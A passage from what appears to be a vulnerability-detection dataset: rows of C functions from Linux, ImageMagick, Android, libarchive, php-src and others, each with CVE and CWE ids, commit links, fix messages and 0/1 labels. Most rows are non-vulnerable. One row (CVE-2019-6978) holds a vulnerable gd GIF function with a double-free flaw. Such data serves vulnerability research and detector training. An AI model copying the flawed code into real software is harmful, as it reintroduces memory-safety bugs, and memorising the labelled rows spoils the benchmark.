PC is at megasas_free_cmds+0x30/0x70
LR is at megasas_free_cmds+0x24/0x70
...
Call trace:
[<ffffffc0005b779c>] megasas_free_cmds+0x30/0x70
[<ffffffc0005bca74>] megasas_init_adapter_fusion+0x2f4/0x4d8
[<ffffffc0005b926c>] megasas_init_fw+0x2dc/0x760
[<ffffffc0005b9ab0>] megasas_probe_one+0x3c0/0xcd8
[<ffffffc0004a5abc>] local_pci_probe+0x4c/0xb4
[<ffffffc0004a5c40>] pci_device_probe+0x11c/0x14c
[<ffffffc00053a5e4>] driver_probe_device+0x1ec/0x430
[<ffffffc00053a92c>] __driver_attach+0xa8/0xb0
[<ffffffc000538178>] bus_for_each_dev+0x74/0xc8
[<ffffffc000539e88>] driver_attach+0x28/0x34
[<ffffffc000539a18>] bus_add_driver+0x16c/0x248
[<ffffffc00053b234>] driver_register+0x6c/0x138
[<ffffffc0004a5350>] __pci_register_driver+0x5c/0x6c
[<ffffffc000ce3868>] megasas_init+0xc0/0x1a8
[<ffffffc000082a58>] do_one_initcall+0xe8/0x1ec
[<ffffffc000ca7be8>] kernel_init_freeable+0x1c8/0x284
[<ffffffc0008d90b8>] kernel_init+0x1c/0xe4
Signed-off-by: Jason Yan <yanaijie@huawei.com>
Acked-by: Sumit Saxena <sumit.saxena@broadcom.com>
Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com> | static int megasas_slave_alloc(struct scsi_device *sdev)
{
u16 pd_index = 0;
struct megasas_instance *instance ;
struct MR_PRIV_DEVICE *mr_device_priv_data;
instance = megasas_lookup_instance(sdev->host->host_no);
if (!MEGASAS_IS_LOGICAL(sdev)) {
/*
* Open the OS scan to the SYSTEM PD
*/
pd_index =
(sdev->channel * MEGASAS_MAX_DEV_PER_CHANNEL) +
sdev->id;
if ((instance->pd_list_not_supported ||
instance->pd_list[pd_index].driveState ==
MR_PD_STATE_SYSTEM)) {
goto scan_target;
}
return -ENXIO;
}
scan_target:
mr_device_priv_data = kzalloc(sizeof(*mr_device_priv_data),
GFP_KERNEL);
if (!mr_device_priv_data)
return -ENOMEM;
sdev->hostdata = mr_device_priv_data;
atomic_set(&mr_device_priv_data->r1_ldio_hint,
instance->r1_ldio_hint_default);
return 0;
}
| static int megasas_slave_alloc(struct scsi_device *sdev)
{
u16 pd_index = 0;
struct megasas_instance *instance ;
struct MR_PRIV_DEVICE *mr_device_priv_data;
instance = megasas_lookup_instance(sdev->host->host_no);
if (!MEGASAS_IS_LOGICAL(sdev)) {
/*
* Open the OS scan to the SYSTEM PD
*/
pd_index =
(sdev->channel * MEGASAS_MAX_DEV_PER_CHANNEL) +
sdev->id;
if ((instance->pd_list_not_supported ||
instance->pd_list[pd_index].driveState ==
MR_PD_STATE_SYSTEM)) {
goto scan_target;
}
return -ENXIO;
}
scan_target:
mr_device_priv_data = kzalloc(sizeof(*mr_device_priv_data),
GFP_KERNEL);
if (!mr_device_priv_data)
return -ENOMEM;
sdev->hostdata = mr_device_priv_data;
atomic_set(&mr_device_priv_data->r1_ldio_hint,
instance->r1_ldio_hint_default);
return 0;
}
| C | linux | 0 |
CVE-2016-10066 | https://www.cvedetails.com/cve/CVE-2016-10066/ | CWE-119 | https://github.com/ImageMagick/ImageMagick/commit/f6e9d0d9955e85bdd7540b251cd50d598dacc5e6 | f6e9d0d9955e85bdd7540b251cd50d598dacc5e6 | null | static void WritePackbitsLength(const PSDInfo *psd_info,
const ImageInfo *image_info,Image *image,Image *next_image,
unsigned char *compact_pixels,const QuantumType quantum_type)
{
QuantumInfo
*quantum_info;
register const PixelPacket
*p;
size_t
length,
packet_size;
ssize_t
y;
unsigned char
*pixels;
if (next_image->depth > 8)
next_image->depth=16;
packet_size=next_image->depth > 8UL ? 2UL : 1UL;
(void) packet_size;
quantum_info=AcquireQuantumInfo(image_info,image);
pixels=GetQuantumPixels(quantum_info);
for (y=0; y < (ssize_t) next_image->rows; y++)
{
p=GetVirtualPixels(next_image,0,y,next_image->columns,1,&image->exception);
if (p == (const PixelPacket *) NULL)
break;
length=ExportQuantumPixels(next_image,(CacheView *) NULL,quantum_info,
quantum_type,pixels,&image->exception);
length=PSDPackbitsEncodeImage(image,length,pixels,compact_pixels);
(void) SetPSDOffset(psd_info,image,length);
}
quantum_info=DestroyQuantumInfo(quantum_info);
}
| static void WritePackbitsLength(const PSDInfo *psd_info,
const ImageInfo *image_info,Image *image,Image *next_image,
unsigned char *compact_pixels,const QuantumType quantum_type)
{
QuantumInfo
*quantum_info;
register const PixelPacket
*p;
size_t
length,
packet_size;
ssize_t
y;
unsigned char
*pixels;
if (next_image->depth > 8)
next_image->depth=16;
packet_size=next_image->depth > 8UL ? 2UL : 1UL;
(void) packet_size;
quantum_info=AcquireQuantumInfo(image_info,image);
pixels=GetQuantumPixels(quantum_info);
for (y=0; y < (ssize_t) next_image->rows; y++)
{
p=GetVirtualPixels(next_image,0,y,next_image->columns,1,&image->exception);
if (p == (const PixelPacket *) NULL)
break;
length=ExportQuantumPixels(next_image,(CacheView *) NULL,quantum_info,
quantum_type,pixels,&image->exception);
length=PSDPackbitsEncodeImage(image,length,pixels,compact_pixels);
(void) SetPSDOffset(psd_info,image,length);
}
quantum_info=DestroyQuantumInfo(quantum_info);
}
| C | ImageMagick | 0 |
CVE-2016-4578 | https://www.cvedetails.com/cve/CVE-2016-4578/ | CWE-200 | https://github.com/torvalds/linux/commit/e4ec8cc8039a7063e24204299b462bd1383184a5 | e4ec8cc8039a7063e24204299b462bd1383184a5 | ALSA: timer: Fix leak in events via snd_timer_user_tinterrupt
The stack object “r1” has a total size of 32 bytes. Its field
“event” and “val” both contain 4 bytes padding. These 8 bytes
padding bytes are sent to user without being initialized.
Signed-off-by: Kangjie Lu <kjlu@gatech.edu>
Signed-off-by: Takashi Iwai <tiwai@suse.de> | static unsigned int snd_timer_user_poll(struct file *file, poll_table * wait)
{
unsigned int mask;
struct snd_timer_user *tu;
tu = file->private_data;
poll_wait(file, &tu->qchange_sleep, wait);
mask = 0;
if (tu->qused)
mask |= POLLIN | POLLRDNORM;
if (tu->disconnected)
mask |= POLLERR;
return mask;
}
| static unsigned int snd_timer_user_poll(struct file *file, poll_table * wait)
{
unsigned int mask;
struct snd_timer_user *tu;
tu = file->private_data;
poll_wait(file, &tu->qchange_sleep, wait);
mask = 0;
if (tu->qused)
mask |= POLLIN | POLLRDNORM;
if (tu->disconnected)
mask |= POLLERR;
return mask;
}
| C | linux | 0 |
CVE-2013-1928 | https://www.cvedetails.com/cve/CVE-2013-1928/ | CWE-200 | https://github.com/torvalds/linux/commit/12176503366885edd542389eed3aaf94be163fdb | 12176503366885edd542389eed3aaf94be163fdb | fs/compat_ioctl.c: VIDEO_SET_SPU_PALETTE missing error check
The compat ioctl for VIDEO_SET_SPU_PALETTE was missing an error check
while converting ioctl arguments. This could lead to leaking kernel
stack contents into userspace.
Patch extracted from existing fix in grsecurity.
Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: David Miller <davem@davemloft.net>
Cc: Brad Spengler <spender@grsecurity.net>
Cc: PaX Team <pageexec@freemail.hu>
Cc: <stable@vger.kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> | static int ppp_sock_fprog_ioctl_trans(unsigned int fd, unsigned int cmd,
struct sock_fprog32 __user *u_fprog32)
{
struct sock_fprog __user *u_fprog64 = compat_alloc_user_space(sizeof(struct sock_fprog));
void __user *fptr64;
u32 fptr32;
u16 flen;
if (get_user(flen, &u_fprog32->len) ||
get_user(fptr32, &u_fprog32->filter))
return -EFAULT;
fptr64 = compat_ptr(fptr32);
if (put_user(flen, &u_fprog64->len) ||
put_user(fptr64, &u_fprog64->filter))
return -EFAULT;
if (cmd == PPPIOCSPASS32)
cmd = PPPIOCSPASS;
else
cmd = PPPIOCSACTIVE;
return sys_ioctl(fd, cmd, (unsigned long) u_fprog64);
}
| static int ppp_sock_fprog_ioctl_trans(unsigned int fd, unsigned int cmd,
struct sock_fprog32 __user *u_fprog32)
{
struct sock_fprog __user *u_fprog64 = compat_alloc_user_space(sizeof(struct sock_fprog));
void __user *fptr64;
u32 fptr32;
u16 flen;
if (get_user(flen, &u_fprog32->len) ||
get_user(fptr32, &u_fprog32->filter))
return -EFAULT;
fptr64 = compat_ptr(fptr32);
if (put_user(flen, &u_fprog64->len) ||
put_user(fptr64, &u_fprog64->filter))
return -EFAULT;
if (cmd == PPPIOCSPASS32)
cmd = PPPIOCSPASS;
else
cmd = PPPIOCSACTIVE;
return sys_ioctl(fd, cmd, (unsigned long) u_fprog64);
}
| C | linux | 0 |
null | null | null | https://github.com/chromium/chromium/commit/dc3857aac17be72c96f28d860d875235b3be349a | dc3857aac17be72c96f28d860d875235b3be349a | Unreviewed, rolling out r142736.
http://trac.webkit.org/changeset/142736
https://bugs.webkit.org/show_bug.cgi?id=109716
Broke ABI, nightly builds crash on launch (Requested by ap on
#webkit).
Patch by Sheriff Bot <webkit.review.bot@gmail.com> on 2013-02-13
Source/WebKit2:
* Shared/APIClientTraits.cpp:
(WebKit):
* Shared/APIClientTraits.h:
* UIProcess/API/C/WKPage.h:
* UIProcess/API/gtk/WebKitLoaderClient.cpp:
(attachLoaderClientToView):
* WebProcess/InjectedBundle/API/c/WKBundlePage.h:
* WebProcess/qt/QtBuiltinBundlePage.cpp:
(WebKit::QtBuiltinBundlePage::QtBuiltinBundlePage):
Tools:
* MiniBrowser/mac/WK2BrowserWindowController.m:
(-[WK2BrowserWindowController awakeFromNib]):
* WebKitTestRunner/InjectedBundle/InjectedBundlePage.cpp:
(WTR::InjectedBundlePage::InjectedBundlePage):
* WebKitTestRunner/TestController.cpp:
(WTR::TestController::createWebViewWithOptions):
git-svn-id: svn://svn.chromium.org/blink/trunk@142762 bbb929c8-8fbe-4397-9dbb-9b2b20218538 | static unsigned long long exceededDatabaseQuota(WKPageRef, WKFrameRef, WKSecurityOriginRef, WKStringRef, WKStringRef, unsigned long long, unsigned long long, unsigned long long, unsigned long long, const void*)
{
static const unsigned long long defaultQuota = 5 * 1024 * 1024;
return defaultQuota;
}
| static unsigned long long exceededDatabaseQuota(WKPageRef, WKFrameRef, WKSecurityOriginRef, WKStringRef, WKStringRef, unsigned long long, unsigned long long, unsigned long long, unsigned long long, const void*)
{
static const unsigned long long defaultQuota = 5 * 1024 * 1024;
return defaultQuota;
}
| C | Chrome | 0 |
CVE-2016-4302 | https://www.cvedetails.com/cve/CVE-2016-4302/ | CWE-119 | https://github.com/libarchive/libarchive/commit/05caadc7eedbef471ac9610809ba683f0c698700 | 05caadc7eedbef471ac9610809ba683f0c698700 | Issue 719: Fix for TALOS-CAN-154
A RAR file with an invalid zero dictionary size was not being
rejected, leading to a zero-sized allocation for the dictionary
storage which was then overwritten during the dictionary initialization.
Thanks to the Open Source and Threat Intelligence project at Cisco for
reporting this. | add_value(struct archive_read *a, struct huffman_code *code, int value,
int codebits, int length)
{
int repeatpos, lastnode, bitpos, bit, repeatnode, nextnode;
free(code->table);
code->table = NULL;
if(length > code->maxlength)
code->maxlength = length;
if(length < code->minlength)
code->minlength = length;
repeatpos = -1;
if (repeatpos == 0 || (repeatpos >= 0
&& (((codebits >> (repeatpos - 1)) & 3) == 0
|| ((codebits >> (repeatpos - 1)) & 3) == 3)))
{
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Invalid repeat position");
return (ARCHIVE_FATAL);
}
lastnode = 0;
for (bitpos = length - 1; bitpos >= 0; bitpos--)
{
bit = (codebits >> bitpos) & 1;
/* Leaf node check */
if (code->tree[lastnode].branches[0] ==
code->tree[lastnode].branches[1])
{
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Prefix found");
return (ARCHIVE_FATAL);
}
if (bitpos == repeatpos)
{
/* Open branch check */
if (!(code->tree[lastnode].branches[bit] < 0))
{
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Invalid repeating code");
return (ARCHIVE_FATAL);
}
if ((repeatnode = new_node(code)) < 0) {
archive_set_error(&a->archive, ENOMEM,
"Unable to allocate memory for node data.");
return (ARCHIVE_FATAL);
}
if ((nextnode = new_node(code)) < 0) {
archive_set_error(&a->archive, ENOMEM,
"Unable to allocate memory for node data.");
return (ARCHIVE_FATAL);
}
/* Set branches */
code->tree[lastnode].branches[bit] = repeatnode;
code->tree[repeatnode].branches[bit] = repeatnode;
code->tree[repeatnode].branches[bit^1] = nextnode;
lastnode = nextnode;
bitpos++; /* terminating bit already handled, skip it */
}
else
{
/* Open branch check */
if (code->tree[lastnode].branches[bit] < 0)
{
if (new_node(code) < 0) {
archive_set_error(&a->archive, ENOMEM,
"Unable to allocate memory for node data.");
return (ARCHIVE_FATAL);
}
code->tree[lastnode].branches[bit] = code->numentries++;
}
/* set to branch */
lastnode = code->tree[lastnode].branches[bit];
}
}
if (!(code->tree[lastnode].branches[0] == -1
&& code->tree[lastnode].branches[1] == -2))
{
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Prefix found");
return (ARCHIVE_FATAL);
}
/* Set leaf value */
code->tree[lastnode].branches[0] = value;
code->tree[lastnode].branches[1] = value;
return (ARCHIVE_OK);
}
| add_value(struct archive_read *a, struct huffman_code *code, int value,
int codebits, int length)
{
int repeatpos, lastnode, bitpos, bit, repeatnode, nextnode;
free(code->table);
code->table = NULL;
if(length > code->maxlength)
code->maxlength = length;
if(length < code->minlength)
code->minlength = length;
repeatpos = -1;
if (repeatpos == 0 || (repeatpos >= 0
&& (((codebits >> (repeatpos - 1)) & 3) == 0
|| ((codebits >> (repeatpos - 1)) & 3) == 3)))
{
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Invalid repeat position");
return (ARCHIVE_FATAL);
}
lastnode = 0;
for (bitpos = length - 1; bitpos >= 0; bitpos--)
{
bit = (codebits >> bitpos) & 1;
/* Leaf node check */
if (code->tree[lastnode].branches[0] ==
code->tree[lastnode].branches[1])
{
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Prefix found");
return (ARCHIVE_FATAL);
}
if (bitpos == repeatpos)
{
/* Open branch check */
if (!(code->tree[lastnode].branches[bit] < 0))
{
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Invalid repeating code");
return (ARCHIVE_FATAL);
}
if ((repeatnode = new_node(code)) < 0) {
archive_set_error(&a->archive, ENOMEM,
"Unable to allocate memory for node data.");
return (ARCHIVE_FATAL);
}
if ((nextnode = new_node(code)) < 0) {
archive_set_error(&a->archive, ENOMEM,
"Unable to allocate memory for node data.");
return (ARCHIVE_FATAL);
}
/* Set branches */
code->tree[lastnode].branches[bit] = repeatnode;
code->tree[repeatnode].branches[bit] = repeatnode;
code->tree[repeatnode].branches[bit^1] = nextnode;
lastnode = nextnode;
bitpos++; /* terminating bit already handled, skip it */
}
else
{
/* Open branch check */
if (code->tree[lastnode].branches[bit] < 0)
{
if (new_node(code) < 0) {
archive_set_error(&a->archive, ENOMEM,
"Unable to allocate memory for node data.");
return (ARCHIVE_FATAL);
}
code->tree[lastnode].branches[bit] = code->numentries++;
}
/* set to branch */
lastnode = code->tree[lastnode].branches[bit];
}
}
if (!(code->tree[lastnode].branches[0] == -1
&& code->tree[lastnode].branches[1] == -2))
{
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Prefix found");
return (ARCHIVE_FATAL);
}
/* Set leaf value */
code->tree[lastnode].branches[0] = value;
code->tree[lastnode].branches[1] = value;
return (ARCHIVE_OK);
}
| C | libarchive | 0 |
CVE-2018-9498 | https://www.cvedetails.com/cve/CVE-2018-9498/ | CWE-787 | https://android.googlesource.com/platform/external/skia/+/77c955200ddd1761d6ed7a6c1578349fedbb55e4 | 77c955200ddd1761d6ed7a6c1578349fedbb55e4 | RESTRICT AUTOMERGE: Cherry-pick "begin cleanup of malloc porting layer"
Bug: 78354855
Test: Not feasible
Original description:
========================================================================
1. Merge some of the allocators into sk_malloc_flags by redefining a flag to mean zero-init
2. Add more private helpers to simplify our call-sites (and handle some overflow mul checks)
3. The 2-param helpers rely on the saturating SkSafeMath::Mul to pass max_size_t as the request,
which should always fail.
chromium: 508641
Reviewed-on: https://skia-review.googlesource.com/90940
Commit-Queue: Mike Reed <reed@google.com>
Reviewed-by: Robert Phillips <robertphillips@google.com>
Reviewed-by: Stephan Altmueller <stephana@google.com>
========================================================================
Conflicts:
- include/private/SkMalloc.h
Simply removed the old definitions of SK_MALLOC_TEMP and SK_MALLOC_THROW.
- public.bzl
Copied SK_SUPPORT_LEGACY_MALLOC_PORTING_LAYER into the old defines.
- src/codec/SkIcoCodec.cpp
Drop a change where we were not using malloc yet.
- src/codec/SkBmpBaseCodec.cpp
- src/core/SkBitmapCache.cpp
These files weren't yet using malloc (and SkBmpBaseCodec hadn't been
factored out).
- src/core/SkMallocPixelRef.cpp
These were still using New rather than Make (return raw pointer). Leave
them unchanged, as sk_malloc_flags is still valid.
- src/lazy/SkDiscardableMemoryPool.cpp
Leave this unchanged; sk_malloc_flags is still valid
In addition, pull in SkSafeMath.h, which was originally introduced in
https://skia-review.googlesource.com/c/skia/+/33721. This is required
for the new sk_malloc calls.
Also pull in SkSafeMath::Add and SkSafeMath::Mul, introduced in
https://skia-review.googlesource.com/88581
Also add SK_MaxSizeT, which the above depends on, introduced in
https://skia-review.googlesource.com/57084
Also, modify NewFromStream to use sk_malloc_canfail, matching pi and
avoiding a build break
Change-Id: Ib320484673a865460fc1efb900f611209e088edb
(cherry picked from commit a12cc3e14ea6734c7efe76aa6a19239909830b28)
| SkISize SkIcoCodec::onGetScaledDimensions(float desiredScale) const {
int origWidth = this->getInfo().width();
int origHeight = this->getInfo().height();
float desiredSize = desiredScale * origWidth * origHeight;
float minError = ((float) (origWidth * origHeight)) - desiredSize + 1.0f;
int32_t minIndex = -1;
for (int32_t i = 0; i < fEmbeddedCodecs->count(); i++) {
int width = fEmbeddedCodecs->operator[](i)->getInfo().width();
int height = fEmbeddedCodecs->operator[](i)->getInfo().height();
float error = SkTAbs(((float) (width * height)) - desiredSize);
if (error < minError) {
minError = error;
minIndex = i;
}
}
SkASSERT(minIndex >= 0);
return fEmbeddedCodecs->operator[](minIndex)->getInfo().dimensions();
}
| SkISize SkIcoCodec::onGetScaledDimensions(float desiredScale) const {
int origWidth = this->getInfo().width();
int origHeight = this->getInfo().height();
float desiredSize = desiredScale * origWidth * origHeight;
float minError = ((float) (origWidth * origHeight)) - desiredSize + 1.0f;
int32_t minIndex = -1;
for (int32_t i = 0; i < fEmbeddedCodecs->count(); i++) {
int width = fEmbeddedCodecs->operator[](i)->getInfo().width();
int height = fEmbeddedCodecs->operator[](i)->getInfo().height();
float error = SkTAbs(((float) (width * height)) - desiredSize);
if (error < minError) {
minError = error;
minIndex = i;
}
}
SkASSERT(minIndex >= 0);
return fEmbeddedCodecs->operator[](minIndex)->getInfo().dimensions();
}
| C | Android | 0 |
CVE-2016-3861 | https://www.cvedetails.com/cve/CVE-2016-3861/ | CWE-119 | https://android.googlesource.com/platform/frameworks/native/+/1f4b49e64adf4623eefda503bca61e253597b9bf | 1f4b49e64adf4623eefda503bca61e253597b9bf | Add bound checks to utf16_to_utf8
Bug: 29250543
Change-Id: I518e7b2fe10aaa3f1c1987586a09b1110aff7e1a
(cherry picked from commit 7e93b2ddcb49b5365fbe1dab134ffb38e6f1c719)
| status_t Parcel::writeStrongBinderVector(const std::unique_ptr<std::vector<sp<IBinder>>>& val)
{
return writeNullableTypedVector(val, &Parcel::writeStrongBinder);
}
| status_t Parcel::writeStrongBinderVector(const std::unique_ptr<std::vector<sp<IBinder>>>& val)
{
return writeNullableTypedVector(val, &Parcel::writeStrongBinder);
}
| C | Android | 0 |
CVE-2019-6978 | https://www.cvedetails.com/cve/CVE-2019-6978/ | CWE-415 | https://github.com/php/php-src/commit/089f7c0bc28d399b0420aa6ef058e4c1c120b2ae | 089f7c0bc28d399b0420aa6ef058e4c1c120b2ae | Sync with upstream
Even though libgd/libgd#492 is not a relevant bug fix for PHP, since
the binding doesn't use the `gdImage*Ptr()` functions at all, we're
porting the fix to stay in sync here. | void gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out)
{
_gdImageGifCtx(im, out);
}
/* returns 0 on success, 1 on failure */
static int _gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out)
{
gdImagePtr pim = 0, tim = im;
int interlace, BitsPerPixel;
interlace = im->interlace;
if (im->trueColor) {
/* Expensive, but the only way that produces an
acceptable result: mix down to a palette
based temporary image. */
pim = gdImageCreatePaletteFromTrueColor(im, 1, 256);
if (!pim) {
return 1;
}
tim = pim;
}
BitsPerPixel = colorstobpp(tim->colorsTotal);
/* All set, let's do it. */
GIFEncode(
out, tim->sx, tim->sy, tim->interlace, 0, tim->transparent, BitsPerPixel,
tim->red, tim->green, tim->blue, tim);
if (pim) {
/* Destroy palette based temporary image. */
gdImageDestroy( pim);
}
return 0;
}
| void gdImageGifCtx(gdImagePtr im, gdIOCtxPtr out)
{
gdImagePtr pim = 0, tim = im;
int interlace, BitsPerPixel;
interlace = im->interlace;
if (im->trueColor) {
/* Expensive, but the only way that produces an
acceptable result: mix down to a palette
based temporary image. */
pim = gdImageCreatePaletteFromTrueColor(im, 1, 256);
if (!pim) {
return;
}
tim = pim;
}
BitsPerPixel = colorstobpp(tim->colorsTotal);
/* All set, let's do it. */
GIFEncode(
out, tim->sx, tim->sy, tim->interlace, 0, tim->transparent, BitsPerPixel,
tim->red, tim->green, tim->blue, tim);
if (pim) {
/* Destroy palette based temporary image. */
gdImageDestroy( pim);
}
}
| C | php-src | 1 |
CVE-2013-6368 | https://www.cvedetails.com/cve/CVE-2013-6368/ | CWE-20 | https://github.com/torvalds/linux/commit/fda4e2e85589191b123d31cdc21fd33ee70f50fd | fda4e2e85589191b123d31cdc21fd33ee70f50fd | KVM: x86: Convert vapic synchronization to _cached functions (CVE-2013-6368)
In kvm_lapic_sync_from_vapic and kvm_lapic_sync_to_vapic there is the
potential to corrupt kernel memory if userspace provides an address that
is at the end of a page. This patches concerts those functions to use
kvm_write_guest_cached and kvm_read_guest_cached. It also checks the
vapic_address specified by userspace during ioctl processing and returns
an error to userspace if the address is not a valid GPA.
This is generally not guest triggerable, because the required write is
done by firmware that runs before the guest. Also, it only affects AMD
processors and oldish Intel that do not have the FlexPriority feature
(unless you disable FlexPriority, of course; then newer processors are
also affected).
Fixes: b93463aa59d6 ('KVM: Accelerated apic support')
Reported-by: Andrew Honig <ahonig@google.com>
Cc: stable@vger.kernel.org
Signed-off-by: Andrew Honig <ahonig@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com> | static int kvm_vcpu_check_hw_bp(unsigned long addr, u32 type, u32 dr7,
unsigned long *db)
{
u32 dr6 = 0;
int i;
u32 enable, rwlen;
enable = dr7;
rwlen = dr7 >> 16;
for (i = 0; i < 4; i++, enable >>= 2, rwlen >>= 4)
if ((enable & 3) && (rwlen & 15) == type && db[i] == addr)
dr6 |= (1 << i);
return dr6;
}
| static int kvm_vcpu_check_hw_bp(unsigned long addr, u32 type, u32 dr7,
unsigned long *db)
{
u32 dr6 = 0;
int i;
u32 enable, rwlen;
enable = dr7;
rwlen = dr7 >> 16;
for (i = 0; i < 4; i++, enable >>= 2, rwlen >>= 4)
if ((enable & 3) && (rwlen & 15) == type && db[i] == addr)
dr6 |= (1 << i);
return dr6;
}
| C | linux | 0 |
CVE-2015-3845 | https://www.cvedetails.com/cve/CVE-2015-3845/ | CWE-264 | https://android.googlesource.com/platform/frameworks/native/+/e68cbc3e9e66df4231e70efa3e9c41abc12aea20 | e68cbc3e9e66df4231e70efa3e9c41abc12aea20 | Disregard alleged binder entities beyond parcel bounds
When appending one parcel's contents to another, ignore binder
objects within the source Parcel that appear to lie beyond the
formal bounds of that Parcel's data buffer.
Bug 17312693
Change-Id: If592a260f3fcd9a56fc160e7feb2c8b44c73f514
(cherry picked from commit 27182be9f20f4f5b48316666429f09b9ecc1f22e)
| status_t Parcel::writeInterfaceToken(const String16& interface)
{
writeInt32(IPCThreadState::self()->getStrictModePolicy() |
STRICT_MODE_PENALTY_GATHER);
return writeString16(interface);
}
| status_t Parcel::writeInterfaceToken(const String16& interface)
{
writeInt32(IPCThreadState::self()->getStrictModePolicy() |
STRICT_MODE_PENALTY_GATHER);
return writeString16(interface);
}
| C | Android | 0 |
CVE-2017-14230 | https://www.cvedetails.com/cve/CVE-2017-14230/ | CWE-20 | https://github.com/cyrusimap/cyrus-imapd/commit/6bd33275368edfa71ae117de895488584678ac79 | 6bd33275368edfa71ae117de895488584678ac79 | mboxlist: fix uninitialised memory use where pattern is "Other Users" | EXPORTED int mboxlist_mboxtree(const char *mboxname, mboxlist_cb *proc, void *rock, int flags)
{
struct allmb_rock mbrock = { NULL, flags, proc, rock };
int r = 0;
if (!(flags & MBOXTREE_SKIP_ROOT)) {
r = cyrusdb_forone(mbdb, mboxname, strlen(mboxname), allmbox_p, allmbox_cb, &mbrock, 0);
if (r) goto done;
}
if (!(flags & MBOXTREE_SKIP_CHILDREN)) {
char *prefix = strconcat(mboxname, ".", (char *)NULL);
r = cyrusdb_foreach(mbdb, prefix, strlen(prefix), allmbox_p, allmbox_cb, &mbrock, 0);
free(prefix);
if (r) goto done;
}
if ((flags & MBOXTREE_DELETED)) {
struct buf buf = BUF_INITIALIZER;
const char *p = strchr(mboxname, '!');
const char *dp = config_getstring(IMAPOPT_DELETEDPREFIX);
if (p) {
buf_printf(&buf, "%.*s!%s.%s", (int)(p-mboxname), mboxname, dp, p+1);
}
else {
buf_printf(&buf, "%s.%s", dp, mboxname);
}
const char *prefix = buf_cstring(&buf);
r = cyrusdb_foreach(mbdb, prefix, strlen(prefix), allmbox_p, allmbox_cb, &mbrock, 0);
buf_free(&buf);
if (r) goto done;
}
done:
mboxlist_entry_free(&mbrock.mbentry);
return r;
}
| EXPORTED int mboxlist_mboxtree(const char *mboxname, mboxlist_cb *proc, void *rock, int flags)
{
struct allmb_rock mbrock = { NULL, flags, proc, rock };
int r = 0;
if (!(flags & MBOXTREE_SKIP_ROOT)) {
r = cyrusdb_forone(mbdb, mboxname, strlen(mboxname), allmbox_p, allmbox_cb, &mbrock, 0);
if (r) goto done;
}
if (!(flags & MBOXTREE_SKIP_CHILDREN)) {
char *prefix = strconcat(mboxname, ".", (char *)NULL);
r = cyrusdb_foreach(mbdb, prefix, strlen(prefix), allmbox_p, allmbox_cb, &mbrock, 0);
free(prefix);
if (r) goto done;
}
if ((flags & MBOXTREE_DELETED)) {
struct buf buf = BUF_INITIALIZER;
const char *p = strchr(mboxname, '!');
const char *dp = config_getstring(IMAPOPT_DELETEDPREFIX);
if (p) {
buf_printf(&buf, "%.*s!%s.%s", (int)(p-mboxname), mboxname, dp, p+1);
}
else {
buf_printf(&buf, "%s.%s", dp, mboxname);
}
const char *prefix = buf_cstring(&buf);
r = cyrusdb_foreach(mbdb, prefix, strlen(prefix), allmbox_p, allmbox_cb, &mbrock, 0);
buf_free(&buf);
if (r) goto done;
}
done:
mboxlist_entry_free(&mbrock.mbentry);
return r;
}
| C | cyrus-imapd | 0 |
CVE-2018-11381 | https://www.cvedetails.com/cve/CVE-2018-11381/ | CWE-125 | https://github.com/radare/radare2/commit/3fcf41ed96ffa25b38029449520c8d0a198745f3 | 3fcf41ed96ffa25b38029449520c8d0a198745f3 | Fix #9902 - Fix oobread in RBin.string_scan_range | R_API RBinFile *r_bin_file_xtr_load_bytes(RBin *bin, RBinXtrPlugin *xtr, const char *filename, const ut8 *bytes, ut64 sz, ut64 file_sz, ut64 baseaddr, ut64 loadaddr, int idx, int fd, int rawstr) {
if (!bin || !bytes) {
return NULL;
}
RBinFile *bf = r_bin_file_find_by_name (bin, filename);
if (!bf) {
bf = r_bin_file_create_append (bin, filename, bytes, sz,
file_sz, rawstr, fd, xtr->name, false);
if (!bf) {
return NULL;
}
if (!bin->cur) {
bin->cur = bf;
}
}
if (bf->xtr_data) {
r_list_free (bf->xtr_data);
}
if (xtr && bytes) {
RList *xtr_data_list = xtr->extractall_from_bytes (bin, bytes, sz);
RListIter *iter;
RBinXtrData *xtr;
r_list_foreach (xtr_data_list, iter, xtr) {
xtr->baddr = baseaddr? baseaddr : UT64_MAX;
xtr->laddr = loadaddr? loadaddr : UT64_MAX;
}
bf->loadaddr = loadaddr;
bf->xtr_data = xtr_data_list ? xtr_data_list : NULL;
}
return bf;
}
| R_API RBinFile *r_bin_file_xtr_load_bytes(RBin *bin, RBinXtrPlugin *xtr, const char *filename, const ut8 *bytes, ut64 sz, ut64 file_sz, ut64 baseaddr, ut64 loadaddr, int idx, int fd, int rawstr) {
if (!bin || !bytes) {
return NULL;
}
RBinFile *bf = r_bin_file_find_by_name (bin, filename);
if (!bf) {
bf = r_bin_file_create_append (bin, filename, bytes, sz,
file_sz, rawstr, fd, xtr->name, false);
if (!bf) {
return NULL;
}
if (!bin->cur) {
bin->cur = bf;
}
}
if (bf->xtr_data) {
r_list_free (bf->xtr_data);
}
if (xtr && bytes) {
RList *xtr_data_list = xtr->extractall_from_bytes (bin, bytes, sz);
RListIter *iter;
RBinXtrData *xtr;
r_list_foreach (xtr_data_list, iter, xtr) {
xtr->baddr = baseaddr? baseaddr : UT64_MAX;
xtr->laddr = loadaddr? loadaddr : UT64_MAX;
}
bf->loadaddr = loadaddr;
bf->xtr_data = xtr_data_list ? xtr_data_list : NULL;
}
return bf;
}
| C | radare2 | 0 |
